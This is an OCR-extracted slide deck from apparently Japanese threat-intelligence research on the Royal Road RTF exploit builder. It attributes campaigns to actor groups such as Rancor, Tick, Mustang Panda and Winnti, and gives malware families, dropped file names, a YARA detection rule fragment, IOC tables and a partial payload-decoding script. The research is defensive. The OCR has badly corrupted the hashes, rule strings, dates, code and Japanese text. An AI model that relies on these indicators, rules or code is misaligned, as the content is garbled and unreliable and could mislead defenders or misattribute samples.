hashl = "2a76dTadd59fb7e2274366D8Ta8T9bc67ebeba279bTad00c577754bcb3dd75Tc" B
hash2 = "fdcbdeb4e2241b97121b6ccat8564c2b996c4574697412deeBcTT8506a3960b0" 3
hash3 = "571e2e17683%eTTda37236a942244ad37badce987432cT4bd98cT82c94b98Td6"
hash4 = "8T0debad@c201c369eaabdedfb924725d3295735aab9f90Td6bd206T71718028"
strings: )
$s0 = "WriteCmdPipe Error. Could not find cmd.exe(PID=%d)! ErrorCode=%d." ascii wide //10.06 B_00403d8 XREF[1]: 00403daa(j)
$s1 = "Cmd.exe is closed.” ascii wide //9.40 00403d8e CL,byte ptr [ESP + EDX*0x1 + local_1ff]
$5§ = "/90520352" SRELE IR 2t 00403d92 , EDI=>local_200, [ESP + 0x10]
$s3 = "HttpSendRequest error: %d ." ascii wide //8.91 c i
$s4 = "HttpOpenRequest error: %d ." ascii wide //8.91 gg:g:ggg _ ;;0)_(1? L
$s5 = “"=InTernEtCBnect errOr: %d ." ascii wide //8.37 2 AN I y " »
$s6 = "ReCeiVe DAta Br@keN." ascii wide //5.19 00403d9b byte ptr [ESP + EDX*@x1 + local_1ff],CL
$s7 = "Software\\Microsoft\\Windows\\Cur" ascii wide //8.22 00403d9f ‘ ECX, OxFFffffff
$s8 = "InternetReadFile error: %d ." ascii wide //8.21 00403da2 Il EDX
$s9 = "lInternet@pen err@r: %d ."™ ascii wide //8.20 00403da3 ASB.RE... ES:EDI
e el e i 98493da5 ECX
$512 = "Windows 7/Server 2008 R2" ascii wide //8.10 00403da7 A El.‘)( .
conditiom: 00403d38 s EDX,tL)‘:
uintl6(0) == 0x5A4D and 10 of them 00403daa {0
}



Rancor




Rancor

c K7V TEENE LI T I X —
« AYVRISTORKFLBREDNELRIZR
« DDKONG*°PLAINTEE%{£ 5
« EABESLTWAESEbNTWES

Target Version 8.t Encode 11137 T1073 Drop name
B2 A6 6D FF Yes CallFun.wll

BO 74 77 46

85

Malware

CobaltStrike
PowerShell
VBS
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[2019-05-23]
a9270294941453da3147/638e35108c83

Document

Exploit & Create

-

8.t

DLL

log.dll

Decode & Execute
L X )
B2 A6 6D FF HHH

Malware

Download & Execute
Create

Side-Load E;

EXE

WindowsHosts.exe

(CobaltStrike)



WE7 I X—MBOFEUO=E



Temp.Trident RU, TR

Temp.Tick

RU, MN, KR

Temp.Periscope

Temp.Conimes

Rancor

F2 A3 20 72

encode

A6 6D FF
74 77 46

encode
74 77 46

A3 20 72

A3 20 72
A6 6D FF

A6 6D FF
74 77 46

RasTls.dll

winhelp.wll

winhelp.wll
inteldrives.wll
useless._wll

winhelp.wll
intel _wll

vsodscpl .dll

vsodscpl .dll
RasTls.dll
QcLite.dll
wsc.dll

CallFun.wll

IceFog
Sisfader
Reaver

ABK Downloader
avirra Downloader

Poisonlvy
Cotx RAT (KeyBoy)
Danti

Bisonal

Meterpreter

tempfun
PlugX
NewCore RAT
GhOst RAT

CobaltStrike
Powershell
VBS




BT 7 X—RLOF/UDE

Group-A

Temp.Conimes

Temp.Periscope

Rancor

89

Temp.Trident

Tick

Group-B

TA428

Tonto

Group-C

¢ X



Group-A

Actor

Temp.Periscope

Temp.Conimes

Rancor

90

Target
PH

VN

VN

Version

1

1

8.t Encode
F2 A3 20 72

F2 A3 20 72

F2 A3 20 72

B2 A6 6D FF

BO 74 77 46

B2 A6 6D FF

T1137

No_

No_

No_

No

Yes

\e}

T1073

Yes_

Yes_

Yes

Yes

\[o]

\\[o]

Drop Name

vsodscpl .dll

vsodscpl .dll

QcLite.dll
QcLite.dll

wsc.dll

CallFun._wll

Malware

Meterpreter

tempfun

PlugX
NewCore RAT

NewCore RAT
GhOst RAT

CobaltStrike
Powershel l
VBS

Time
2018 Q1

2018 01

2018 Q2

2018 Q4 ~
2019 Q2

2019 Q2

2019 Q2



Group-B

Actor

Temp.Trident

Temp.Tick

TA428

Tonto

91

Target Version

[, TR 2

JP 5 |

RUBRIVN |

8.t Encode

F2 A3 20 72

No encode

B2 A6 6D FF

BO 74 77 46

No encode

BO 74 77 46

T1137 T1073

No

No

Yes

Yes

\e}

No

\e}

Drop Name

RasTIls.dll

winhelp.wll

winhelp.wll
0

inteldrives.wll
useless.wll
cls.wll

winhelp.wll

intel _wll

Malware

IceFog
Sisfader
Reaver

ABK Downloader

avirra Downloader

Poisonlvy

Danti

Cotx RAT (KeyBoy)

Danti

Cotx RAT (KeyBoy)

Bisonal

Bisonal

Time

2018 01

2019 Q1 ~ Q2

2018 Q4

2019 Q1

2019 Q1 ~ Q2

2019 01

2019 Q4



Group-C

* Group-C
e ALBICHDEETEADL-T=HD
o« EARMICIIRTEA LT 7 Z—DEMIITonkh -7 D




BEET HIWMET 7 X —



BETHIHRET 7 X—

« 8.t WHSHTP 7 bRFERTIDLITTIEGEWLD, -k S5 LA E
RTF7 7AIVeAAWTHE%Z{THORETI/X—bH 5

 Mustang Panda
 SideWinder
e Winnti

94
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Mustang Panda

R T VTHENE LIKET I X —
¢ RENFLKHENERIEZER
e CobaltStrike*PlugX% £ 5
- HEABEELTWABEEDNTWLS
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[2019-11-12]
e5779b1e0970bb59ee97e0ct0086¢c047

Exploit & Create Decode & Execute
B2 A4 6E FF

e.m Self-Extractor

Document

CobaltStrike

t

Execute

Uninstall

mp_Kquxaf.dat

e

EXE

Create

E.- Execute

EXE

InstallUtil.exe

HHH

Create & Execute

PS1
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TTIME) MRE(E) FE ,,'[S) HE {O) VEpe '?(W) ~b7 (H)

1] || [ole(an] a6l BIoI <l

00000000 : FF 7F FF FB FF FF FF
WAL 47 TF FFFF FF FE FEFE OF FF P FF FF FF FF FF
WWNUNZGR FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF FF
UGN FF FF FF FF FF FF FF FFFE FF FF FF OF FF FF P
10000040 :

00000050
00000080
00000070
00000080
00000090
00000040
(10000080 C 61 26 )
100000C0 FF FF FF FF
00000000 . FF FF FF FF
E F £ FE P4 FE FS FFFF 9F FD FF
000000F0 NS F FF FF 70 F1 FD FF FF EF FF FF

00000000
00000010
00000020
00000030
00000040
00000050
00000060
00000070
00000080
00000030
00000040
000000B0
000000C0
00000000 ) . .
000000ED ) 3 01 06 00000 80 02 00 ... L
000000FD f 0 00 10 P

Similar Encode: B2 A4 6E FF

S Stirling - [b2a46eff.bin] —

decode_b2ad6eff(enc_data):
dec_data = []

for 1 range(len(enc_data)):
dec_data.append(int.from_bytes(enc_data[i],

dec_data[1]
dec_data[2]

5a
9@

return dec_data

"little") ~

£f)
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Si1deWinder

cEmTITEENE LR T I X —
e FITNFREZVEEWNELTWS
c 1 VEFABEELTWAREEDNTWLWS
 Royal Road®Dv3%{FE S
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[2019-12-17]
O0d71bc8643b0e309eald91903aeab555

Exploit & Create Create E—
1S ®

EXE

Document l.a rekeywiz.exe
Create Create
Create ) Load
Side-Load
Ea oo
TMP Load & Decode DLL e

d3BX5Y0.tmp Duser.dll



Winnti

¢ 8. tZAAWVWARTFAWINnti LBEET B LHEINhTWLWS

o FAT=EARELZRY TlE. BIMIDOWinntidMERT ST 7 =v 7, Tz T7&D
BEEMEEZR DTS LIETELRD -1

« IR¥LE 5> TUWLW B Intezer DRFHER

a8c21cb9dealc9bcb2adccbdeda73c7971ea797ab4fdb93320532647625e22ba

Winnti Family:

O xbluj ot '
Intezerx Y xAp3 |l Et /BUYT"a 1o
UgJMB3IulpW. Tt Wpo nboé
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https://medium.com/@Sebdraven/winnti-uses-the-rtf-exploit-8-t-too-targets-vietnam-13300d432272

Threat Hunting
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Threat Hunting

* Royal Road
e IVIOA—FEIN=FTT 7 FDEFHE
« Exploit CodeD4¥FE
 Royal RoadDRTF D&Y 7 431

c BT J X —
« IFATE D Fik
* T1073
* Side-LoadingFHMDexe”7 7 A /L
* T1137
e Word®Startup7T 4 L7 kU



Yara Rule

Royal Road%iR%1d %7-&HDIL—IL
« 7717 bstrings
« 73 17 hpattern

« FIR—XRITIN—TDHEDI-HDIL—IL
e 8.t EF TV DT a—F
e RN TT77IY

i Appendix-2 TN

i
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Summary



Summary

 Royal RoadlZ & » TYERR & N 7=RTF
s AT T 1 XDt ER
o IRAZBFEDDH S

« N—2 3 DOHER

c TIR—ETN—T
* Royal RoadZ{E YWET7 /7 X—F&THH L
- FEEDEENZEDODNTVWET I X—MIFLEAL
c RTFREDRHD O T 7 X —% 7 IV—TIZDFETES
« VU X—RALTDFELRDE
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AppendiXx



Appendix-1: 10C

) E F [ ] L O
Group E‘Mall.-.larw:—- E‘u’T Submi-rsio.rE RTF Creation TE'SHA'-"S' EFil:-:- Name E‘u’er'--_r.iujn E[ de FE'RTF L.angalE‘ED
ABK Downloader 20159/82/18 2819/02/13 2ad5375f 2019 A IS E S 1. doc w5 3 3dp jp

2819/01/29 2015/01 /01 ELEhXEY R cynanraa. doc v5
2819/81/26 2018,/84/17 6Bach7fO511 014 CHLIE .doc
2819/81/24 2819/@1/23 87114b56efd 1. rtf

unknown backddor ! 2819/@ d5uuganaa-test.doc

NewcoreRAT 2819, f22 2819/@1/18 8175 610D Téng cuc.doc

2819/01/18 2819/@1/17 afcbe545dc2 Danh sach cong tac 26

Cotx RAT(KEYBOY) 2019, 9 9499c1achb9bENRE

unknown2 MNewcore 2819/01/88 2019/91/098 3bbb2df2=84 anketa-blank 1510141714+, rtf

Group-A 2819/e ; 28 /111 actf745088732.doc v
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https://nao-sec.org/jsac2020_ioc.html

Appendix-2: Tool

* rr_decoder

e Yara Rules

nao-sec / rr_decoder ©® Unwatch~ 1 *star 0 | ¥Fork | 0 [ yara_rules @unwatch~ 2 %star 0 | YFork 0

<> Code Pull 1 3 ] i urity

<> Code Issues 0 Pull requ Actions Projects 0 Security Insights Settings

Decode Royal Road RTF Weaponizer 8.t object For malware research

) K . . ¥ 1 branch ™ 0 packag > 0 relea 21 1 contributor g MIT
3 commits P 1branch T 0 packages © 0 releases 48 1 contributor

ch: master ~ New pull request Create new file | Upload files = Find file

. pinksawtooth

Branch: master v New pull request Create new file = Upload files = Find file Clone or download ~

ﬂ koike [B Add LICENS Latest commit 11fdsf2 2 days ago

sample 2 First Commit
LICENSE ﬂ Add LICENSE
README.md ﬂ Update README.md

rr_decode.py ] First Commit
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https://github.com/nao-sec/rr_decoder
https://github.com/nao-sec/yara_rules

Any Questions?



